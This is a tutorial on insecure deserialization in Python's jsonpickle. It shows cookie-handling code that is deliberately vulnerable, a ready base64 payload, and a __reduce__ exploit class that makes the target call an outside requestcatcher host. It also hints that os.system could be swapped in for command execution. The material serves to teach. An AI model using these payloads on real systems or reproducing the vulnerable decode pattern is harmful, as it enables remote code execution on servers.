Remote Code Execution - Insecure Deserialization
TL;DR - show me the fun part❗
-
Start a listener on requestcatcher - to receive a call back from our exploit. requestcatcher is a public service❗
-
Login into vulnerable app and notice that
user_profile
cookie is a Python serialized object❗. -
Inject the below malicious object - this will make the vulnerable app call our listener. Make sure to remove any spaces.
eyJweS9yZWR1Y2UiOiBbeyJweS9mdW5jdGlvbiI6ICJ1cmxsaWIucmVxdWVzdC51cmxvcGVuIn0sIHsicHkvdHVwbGUiOiBbImh0dHBzOi8vc2VjdXJlY29va2llLnJlcXVlc3RjYXRjaGVyLmNvbS9mb28iXX1dfQ==
- Verify receiving the call back in requestcatcher.
What is (de)serialisation and why❓
Serialisation is the process of exporting an object into a stream of bytes.
The benefit is, once we have it in bytes format, we can easily store it as a binary file, or send it via API call to another service. The receiver can deserialize the received bytes back into object.
Deserialization is reversing the process of serialization. Once the service have the object back, it can interact with this deserialized object, just like it would with any other object. It can call its method, pass it to another class…etc
Show me how to serialize❓
In the demo app, upon successful authentication, the app constructs a user profile object which contains some user’s info.
The user profile can be presented in a Python data class as following:-
# this is just an example, those attributes are for demonstration.
@dataclass
class Profile:
user_id: str
username: str
email: str
address: str
Then the app, creates an instance of the Profile
class to be serialized.
profile = Profile(user_id='1234-5678-9012',
username="mr.robot",
email="mr.robot@secure-cookie.io",
address="Berlin")
Python has Pickle, a builtin module to serialize an object.
There’s also jsonpickle package. It makes serialization more fancy, by exporting the object into JSON. JSON format might have some advantages to some developers over a stream of bytes.
In this demo, I will be using jsonpickle, however the same attack vector will be successful on both Pickle and jsonpickle 🎉.
Once we have the profile
object, we pass it to encode method in jsonpickle
which will serialize. Then to base64 encoding.
serialised = jsonpickle.encode(profile)
bytes_serialised = serialised.encode()
encoded_serialised = base64.b64encode(bytes_serialised)
Finally we send the serialized base64 JSON as a user_profile
cookie to the user. Storing
it in a cookie (client-side) makes it easy for other services to get the user’s data/session
from a submitted cookie. Rather than having a shared DB (server-side) between services.
How is that exploitable; What is insecure deserialization❓
An attacker can inject a custom malicious serialized object which gets deserialized by the vulnerable app. During the deserialization process itself, the attacker’s code get executed.
Both Pickle and jsonpickle have a warning message of such risk
It is even possible to replace a serialized object with an object of an entirely different class. An object of an unexpected class might raise an exception. By this time, however, the damage may already be done. Many deserialization-based attacks are completed before deserialization is finished.
This means that the deserialization process itself can initiate an attack, even if the website’s own functionality does not directly interact with the malicious object.
Show me the attacker’s exploit❓
Obviously, each programming language has its own implementation of construction
an object. In Python, there’s a
magic method (__reduce__
)
which will help in exploiting the vulnerable web app.
Whenever an object is deserialized, the (__reduce__
) method will be called by default.
According to stackoverflow, this method is typically used to provide instructions on how to serialize some properties such as opening a file. Of course, attackers abuse this method in order to execute arbitrary code as soon as the deserialization takes a place.
The (__reduce__
) method returns a tuple, which are:-
-
A callable (the name of the function to call).
-
Arguments to be passed to the above callable.
import base64
import jsonpickle
class Malicious:
def __reduce__(self):
from urllib import request
url = "https://securecookie.requestcatcher.com/foo"
return request.urlopen, (url,)
exploit = Malicious()
serialised = jsonpickle.encode(exploit)
bytes_serialised = serialised.encode()
encoded_serialised = base64.b64encode(bytes_serialised)
For this demo, I used (request.urlopen
) to make the vulnerable
app sends a simple HTTP GET to a listener of our choice.
I did this for simplicity, in real world, you would call os.system to execute commands on the server side😈.
Show me the vulnerable code❓
The web app gets untrusted cookie value, it base64 decode, then
call decode
method from jsonpickle
(which will deserialize).
profile_cookie = request.cookies.get("user_profile")
decoded_serialised = base64.b64decode(profile_cookie)
string_serialised = decoded_serialised.decode()
### here the attacker's code get executed as soon as we deserialize
deserialized_object = jsonpickle.decode(string_serialised)